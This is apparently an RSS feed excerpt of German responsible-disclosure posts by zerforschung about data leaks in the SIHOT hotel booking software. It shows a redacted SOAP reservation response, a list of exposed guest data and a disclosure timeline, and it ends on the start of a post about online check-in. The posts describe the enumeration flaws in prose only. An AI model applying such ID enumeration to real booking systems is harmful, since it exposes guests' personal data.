&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;Success&amp;gt;&lt;/span&gt;true&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;/Success&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;ErrorMsg/&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;MSG-LIST/&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;/Result&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;ReservationSearchEntry&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;RESERVATION-OBJID&amp;gt;&lt;/span&gt;████&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;/RESERVATION-OBJID&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;resno&amp;gt;&lt;/span&gt;███&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;/resno&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;subno&amp;gt;&lt;/span&gt;█&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;/subno&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;restype&amp;gt;&lt;/span&gt;█&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;/restype&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;cancellationdate/&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;noofrooms&amp;gt;&lt;/span&gt;█&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;/noofrooms&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;noofnights&amp;gt;&lt;/span&gt;█&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;/noofnights&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;arrival&amp;gt;&lt;/span&gt;2025-01-01&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;/arrival&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;arrivaltime/&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;departure&amp;gt;&lt;/span&gt;█-█-█&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;/departure&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;departuretime/&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;gdsresnumber/&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;centralid&amp;gt;&lt;/span&gt;███████&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;/centralid&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;externalid&amp;gt;&lt;/span&gt;███████████&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;/externalid&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;externalkey/&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;externalreference/&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;ratecategory&amp;gt;&lt;/span&gt;█&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;/ratecategory&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;ratesegment/&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;resmedium&amp;gt;&lt;/span&gt;██&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;/resmedium&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;ressource&amp;gt;&lt;/span&gt;█&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;/ressource&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;forecastnoofadults&amp;gt;&lt;/span&gt;█&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;/forecastnoofadults&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;forecastnoofchildren&amp;gt;&lt;/span&gt;█&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;/forecastnoofchildren&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;forecastnoofpax&amp;gt;&lt;/span&gt;█&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;/forecastnoofpax&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;forecastrategross&amp;gt;&lt;/span&gt;██&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;/forecastrategross&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;forecastratenet&amp;gt;&lt;/span&gt;██&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;/forecastratenet&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;deposit&amp;gt;&lt;/span&gt;█&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;/deposit&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;hasautoservice&amp;gt;&lt;/span&gt;█&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;/hasautoservice&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;currency/&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;commentcentral/&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;commenttechnical/&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;Orderer&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;					&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;ORDERER-OBJID&amp;gt;&lt;/span&gt;████&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;/ORDERER-OBJID&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;					&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;name1&amp;gt;&lt;/span&gt;█████████&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;/name1&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;					&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;name2&amp;gt;&lt;/span&gt;█████████&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;/name2&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;					&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;country&amp;gt;&lt;/span&gt;██&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;/country&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;					&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;subcountry&amp;gt;&lt;/span&gt;█&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;/subcountry&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;					&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;postcode&amp;gt;&lt;/span&gt;███&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;/postcode&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;					&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;city&amp;gt;&lt;/span&gt;████████&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;/city&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;					&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;street&amp;gt;&lt;/span&gt;█████████████&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;/street&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;					&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;hqmatchadm/&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;					&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;hqmatchisn/&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;					&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;hqmatchsm/&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;					&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;matchcode/&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;					&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;iata/&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;/Orderer&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;/ReservationSearchEntry&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#75715e&#34;&gt;&amp;lt;!-- ... --&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;		&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;/S_GO_RESERVATION_SEARCH_V001Response&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;/SOAP-ENV:Body&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;/SOAP-ENV:Envelope&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/details&gt;
&lt;p&gt;Auf die gemeinsame Meldung dieser Lücke und der beiden Hochzähl-Lücken davor, teilt uns das Unternehmen mit, dass die Fixes etwas komplexer sind und sie dafür 5 Werktage brauchen werden.&lt;/p&gt;
&lt;h2 id=&#34;nach-luecken&#34;&gt;Wir wollen doch einfach nur schlafen&lt;/h2&gt;
&lt;p&gt;Es ist kaum zu glauben:
so viele Lücken auf einem Haufen.
Und dann auch noch mit derart sensiblen Daten.&lt;/p&gt;
&lt;p&gt;Durch die Lücken waren abrufbar (wenn auch nicht &lt;em&gt;alle&lt;/em&gt; Daten bei &lt;em&gt;allen&lt;/em&gt; Lücken und nicht immer vollständig ausgefüllt):&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Name&lt;/li&gt;
&lt;li&gt;Adresse&lt;/li&gt;
&lt;li&gt;E-Mail-Adresse&lt;/li&gt;
&lt;li&gt;Telefonnummer&lt;/li&gt;
&lt;li&gt;Geburtsdatum&lt;/li&gt;
&lt;li&gt;Ausweisnummer&lt;/li&gt;
&lt;li&gt;Die letzten 4 Stellen der Kreditkartennummer&lt;/li&gt;
&lt;li&gt;Check-In- &amp;amp; Check-Out-Datum&lt;/li&gt;
&lt;li&gt;Zimmernummer&lt;/li&gt;
&lt;li&gt;Interne- sowie Kundenkommentare&lt;/li&gt;
&lt;li&gt;Preise&lt;/li&gt;
&lt;li&gt;IDs von Schlüsselkarten&lt;/li&gt;
&lt;li&gt;Reservierungsnummer&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Und das Ganze nicht bei einem Mini-Hotel mit selbstgefrickelter Software (das wäre schon schlimm genug), sondern bei einem großen Anbieter, u.a. verwendet durch eine der größten deutschen Hotelketten.&lt;br&gt;
Betroffen waren Millionen von Menschen – darunter nochmal besonders gefährdete Gruppen wie Journalist*innen und Politiker*innen.&lt;/p&gt;
&lt;h2 id=&#34;daten-sparen--stress-sparen&#34;&gt;Daten sparen = Stress sparen&lt;/h2&gt;
&lt;p&gt;Manche der Buchungen waren aus dem Jahre 2005, also selbst schon längst volljährig.
Da fragen wir uns schon sehr, warum so etwas überhaupt noch gespeichert ist, geschweige denn in einem Buchungssystem, das aus dem Internet erreichbar ist.&lt;/p&gt;
&lt;p&gt;Datensparsamkeit ist immer eine gute Idee:
Wenn die Daten nicht (mehr) in einem System gebraucht werden, sollten sie dort auch nicht mehr gespeichert werden.
Spätestens ein paar Wochen nach dem Aufenthalt braucht es nicht mehr alle Informationen zur Buchung im Buchungssystem.&lt;/p&gt;
&lt;p&gt;Zwar gibt es Aufbewahrungsfristen, die die Hotels teils zur längeren Speicherung verpflichten.
Aber das bedeutet nicht, dass die Daten &lt;em&gt;im Buchungssystem&lt;/em&gt; bleiben und aus dem Internet zugänglich sein müssen.
Stattdessen könnten sie beispielsweise auch in ein besser abgeschirmtes System überführt werden, auf das viel weniger Leute Zugriff haben.&lt;/p&gt;
&lt;p&gt;Und manche Daten braucht es so lange gar nicht: Spezialwünsche der Gäste (»Bitte ein Fenster, aus dem man gut trainspotten kann.«) können nach dem Check-Out gelöscht werden. Ausweisdaten braucht ein Hotel nur für den Meldeschein – der wiederum muss ein Jahr gespeichert und dann innerhalb von drei Monaten gelöscht werden (&lt;a href=&#34;https://www.gesetze-im-internet.de/bmg/__30.html&#34;&gt;§30 BMG&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;Personenbezogene Daten sind kein Öl, sondern Giftmüll, und sollten von Unternehmen auch so behandelt werden.
Nicht möglichst lange aufbewahren, sondern möglichst sicher verschließen und dann entsorgen, sobald es geht.&lt;/p&gt;
&lt;h2 id=&#34;besser-gleich-richtig-machen&#34;&gt;Besser gleich richtig machen&lt;/h2&gt;
&lt;p&gt;Je mehr wir uns mit dem System auseinander gesetzt haben, desto mehr hat sich bei uns der Eindruck verfestigt:
Hier handelt es sich nicht um ein einmaliges Versehen in einem ansonsten perfekt gesicherten System.
Es scheint eher so, als wäre hier strukturell etwas kaputt.&lt;/p&gt;
&lt;p&gt;Sichere Software fällt nicht einfach vom Himmel.
Dafür braucht es unter anderem gute Prozesse, passende Architektur-Entscheidungen, ein Bewusstsein bei allen Entwickler*innen und regelmäßige (Selbst-)Kontrollen, beispielsweise durch gute Pentests.&lt;/p&gt;
&lt;figure&gt;&lt;img src=&#34;https://zerforschung.org/p/sihot/facepalme.webp&#34;
         alt=&#34;Facepalm&#34;/&gt;
&lt;/figure&gt;

&lt;p&gt;Wir sind bestürzt darüber, dass es &lt;a href=&#34;https://owasp.org/Top10/&#34;&gt;wirklich wieder die &lt;em&gt;simpelsten&lt;/em&gt; Lücken sind&lt;/a&gt;. Eine aufsteigende Reservierungsnummer oder Gästenummer hochzuzählen und damit Zugriff auf die Daten von bisherigen, aktuellen und zukünftigen Gästen des Hotels zu bekommen, sollte in diesem Jahrzehnt wirklich nicht möglich sein.&lt;/p&gt;
&lt;p&gt;Und eine geschlossene Lücke sollte nicht direkt wieder aufgehen, nur weil wir unsere Anfrage minimal anders in Geschenkpapier einwickeln.&lt;/p&gt;
&lt;p&gt;Denn es gilt immer: Wenn die Software marktreif genug ist, um Daten von Hotelgästen speichern zu dürfen, muss sie auch reif genug sein, diese für sich zu behalten. Und ja, &lt;em&gt;reif&lt;/em&gt; gilt vor allem, wenn die Software &lt;a href=&#34;https://sihot.com/en/our-history/&#34;&gt;laut Angaben des Herstellers&lt;/a&gt; mittlerweile ihren 39sten Geburtstag feiern kann. &lt;em&gt;Glückwunsch&lt;/em&gt; 🍾&lt;/p&gt;
&lt;h2 id=&#34;auch-die-hotels-sind-in-der-pflicht&#34;&gt;Auch die Hotels sind in der Pflicht&lt;/h2&gt;
&lt;p&gt;Und das gilt nicht nur für die Hersteller solcher Software, sondern auch die Kund*innen.
Wir fragen uns schon, wie Motel One, &lt;a href=&#34;https://web.archive.org/web/20250615112510/https://www.tagesschau.de/wirtschaft/unternehmen/motel-one-hackerangriff-100.html&#34;&gt;die vor wenigen Jahren erst Opfer eines Hackerangriffs wurden&lt;/a&gt;, trotzdem Software einsetzen kann, die derartige Sicherheitslücken hat.&lt;/p&gt;
&lt;p&gt;Eine Hotelkette dieser Größe kann es sich leisten, so zentrale Systeme genauer unter die Lupe zu nehmen.
Wir finden, dass genau das zur Verantwortung eines Unternehmens gehört: Wenn ich eine Software einsetzen will, sollte ich genau schauen, ob sie auch taugt.&lt;/p&gt;
&lt;p&gt;Und dazu gehört eben auch, dass sie die ihr anvertrauten Daten gut schützt – und wir uns als Hotelgäste auch endlich ein bisschen erholen können.&lt;/p&gt;
&lt;h2 id=&#34;timeline&#34;&gt;Timeline&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;2025-09-09: Zerforschi bucht Hotel, findet Lücke&lt;/li&gt;
&lt;li&gt;2025-09-10: Erste Meldung an das Unternehmen (GUBSE)&lt;/li&gt;
&lt;li&gt;2025-09-12: Unternehmen erklärt erste Lücke für geschlossen&lt;/li&gt;
&lt;li&gt;2025-09-12: Meldung über SQLi bei &lt;em&gt;dieJugendherbergen&lt;/em&gt; an &lt;em&gt;GUBSE&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;2025-09-15: &lt;em&gt;GUBSE&lt;/em&gt; hat Meldung an &lt;em&gt;dieJugendherbergen&lt;/em&gt; weitergegeben, Adminbereich abgeschaltet&lt;/li&gt;
&lt;li&gt;2025-09-22: Meldung über weitere Lücken, auch in der Instanz von &lt;em&gt;Motel One&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;2025-09-23: Meldung über Lücke in &lt;em&gt;SIHOT.GO!&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;2025-09-24: Unternehmen plant Fix und Rollout bis Ende der Woche&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;p&gt;Unsere Recherchen haben wir mit Svea Eckert, Ciara Cesaro-Tadic und Palina Milling von NDR &amp;amp; WDR sowie mit Lea Weinmann und Sebastian Erb von der Süddeutschen Zeitung geteilt. Ihre Artikel findet ihr hier:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://www.tagesschau.de/investigativ/ndr-wdr/hotel-daten-sicherheitsluecken-software-100.html&#34;&gt;https://www.tagesschau.de/investigativ/ndr-wdr/hotel-daten-sicherheitsluecken-software-100.html&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.tagesschau.de/multimedia/audio/audio-301846.html&#34;&gt;https://www.tagesschau.de/multimedia/audio/audio-301846.html&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.sueddeutsche.de/projekte/artikel/wirtschaft/it-sicherheit-cybersicherheit-motel-one-jugendherbergen-sicherheitsluecken-zerforschung-e184714/&#34;&gt;https://www.sueddeutsche.de/projekte/artikel/wirtschaft/it-sicherheit-cybersicherheit-motel-one-jugendherbergen-sicherheitsluecken-zerforschung-e184714/&lt;/a&gt; (💶🧱)&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;div class=&#34;shortcode-infotextbox&#34;&gt;
	&lt;p&gt;An solch einem Artikel sitzen wir als Kollektiv deutlich länger als eine Übernachtung im Hotel, vom Finden der Lücken, über das Schreiben der Reports, zum Finden noch weiterer ähnlicher Lücken, bis zum Umgang mit den betroffenen Unternehmen und der Veröffentlichung dieses Posts.&lt;/p&gt;
&lt;p&gt;Falls euch dieser Artikel gefallen hat, &lt;a href=&#34;https://zerforschung.org/unterstuetzen&#34;&gt;freuen wir uns über Unterstützung für besseren Schlaf&lt;/a&gt; (aber bitte keine Hotelgutscheine).&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&#34;footnotes&#34; role=&#34;doc-endnotes&#34;&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id=&#34;fn:1&#34;&gt;
&lt;p&gt;oh-oh, die hatten doch gerade erst &lt;a href=&#34;https://www.sueddeutsche.de/wirtschaft/motel-one-hacker-ransomware-hotel-1.6275638&#34;&gt;ein kleines IT-Sicherheitsproblem&lt;/a&gt;&amp;#160;&lt;a href=&#34;#fnref:1&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&#34;fn:2&#34;&gt;
&lt;p&gt;Auch wie beim letzten Mal, wir begrüßen öffentliche API-Dokumentation. Nur muss die Schnittstelle dann auch sicher sein.&amp;#160;&lt;a href=&#34;#fnref:2&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&#34;fn:3&#34;&gt;
&lt;p&gt;ja, das &lt;code&gt;XXX_DUMMY_REPLACE_XXX&lt;/code&gt; geht wirklich so über die Leitung.&amp;#160;&lt;a href=&#34;#fnref:3&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</description>
    </item>
    
    <item>
      <title>Hotel: Check-in 🤝 Daten: Check-Out</title>
      <link>https://zerforschung.org/posts/likemagic/</link>
      <pubDate>Wed, 24 Sep 2025 16:55:00 +0200</pubDate>
      
      <guid>https://zerforschung.org/posts/likemagic/</guid>
      <description>&lt;p&gt;&lt;img src=&#34;https://zerforschung.org/p/likemagic/postcard.jpg&#34; alt=&#34;Alte Postkarte von mehreren Hotels am Wasser, &amp;amp;ldquo;Grüße vom Hotel am Data Lake&amp;amp;rdquo;&#34;&gt;&lt;/p&gt;
&lt;p&gt;Guter Schlaf ist wichtig. Das wissen auch Hotels – und versprechen mehr davon, wenn man schon vor Ankunft online eincheckt. Natürlich ist es auch günstiger für die Betreiber, Personal an der Rezeption einzusparen und stattdessen eine Maschine hinzustellen. Oder noch besser: den Check-In einfach komplett durch die Gäste auf ihren Smartphones erledigen zu lassen.&lt;/p&gt;
&lt;p&gt;Das ist schon auch komfortabel, aber spätestens seit die &lt;a href=&#34;https://www.zeit.de/digital/datenschutz/2025-06/datenschutz-ausweisdaten-leck-hotel-numa&#34;&gt;Sicherheitslücken bei der Hotelkette Numa&lt;/a&gt; bekannt wurden, haben wir bei der Kombination aus &amp;ldquo;Online-Check-In&amp;rdquo; und &amp;ldquo;mehr Schlaf&amp;rdquo; aber doch ein paar Fragezeichen im Kopf. Denn uns interessiert natürlich: Wie funktioniert der Check-In technisch und können wir ihm vertrauen?&lt;/p&gt;
&lt;p&gt;Spoiler: Nope, leider nicht…&lt;/p&gt;
&lt;p&gt;Kommt mit auf eine Datenreise.&lt;/p&gt;
&lt;h2 id=&#34;can-i-have-a-little-urlaub-&#34;&gt;Can I have a little Urlaub? 👉👈&lt;/h2&gt;
&lt;p&gt;Sommerzeit heißt Reisezeit. Auch wir waren viel unterwegs, haben das ein oder andere Hotelsystem verwendet und irgendwann ist es passiert – uns sind Daten, Rechnungen und Ausweiskopien der anderen Hotelbesucher*innen entgegen gefallen. Vorbei war es dann mit dem guten Schlaf.&lt;/p&gt;
&lt;p&gt;Aber von vorne:
Nach einer längeren Zugreise schon vor der Ankunft im Hotel online einchecken kann sehr bequem sein.
Mitunter verlangen Check-In-Formulare aber eine ganze Menge Daten, die &lt;a href=&#34;https://www.tagesschau.de/wirtschaft/verbraucher/hotel-check-in-meldedaten-reisen-100.html&#34;&gt;gar nicht unbedingt nötig wären&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;So auch in unserem Fall:
Ohne Name, Geburtsdatum, Anschrift, eine Unterschrift und sogar ggf. Fotos von den Ausweisdokumenten kein Zimmerschlüssel.
Praktisch: Während des Aufenthalts kann dann über das gleiche Portal auch gleich ein Wasserkocher für&amp;rsquo;s Zimmer dazugebucht werden – und nach dem Aufenthalt gibt es dort dann auch direkt Zugriff auf die Rechnung.&lt;/p&gt;
&lt;h2 id=&#34;kleine-web-app-große-wirkung&#34;&gt;Kleine Web-App, große Wirkung&lt;/h2&gt;
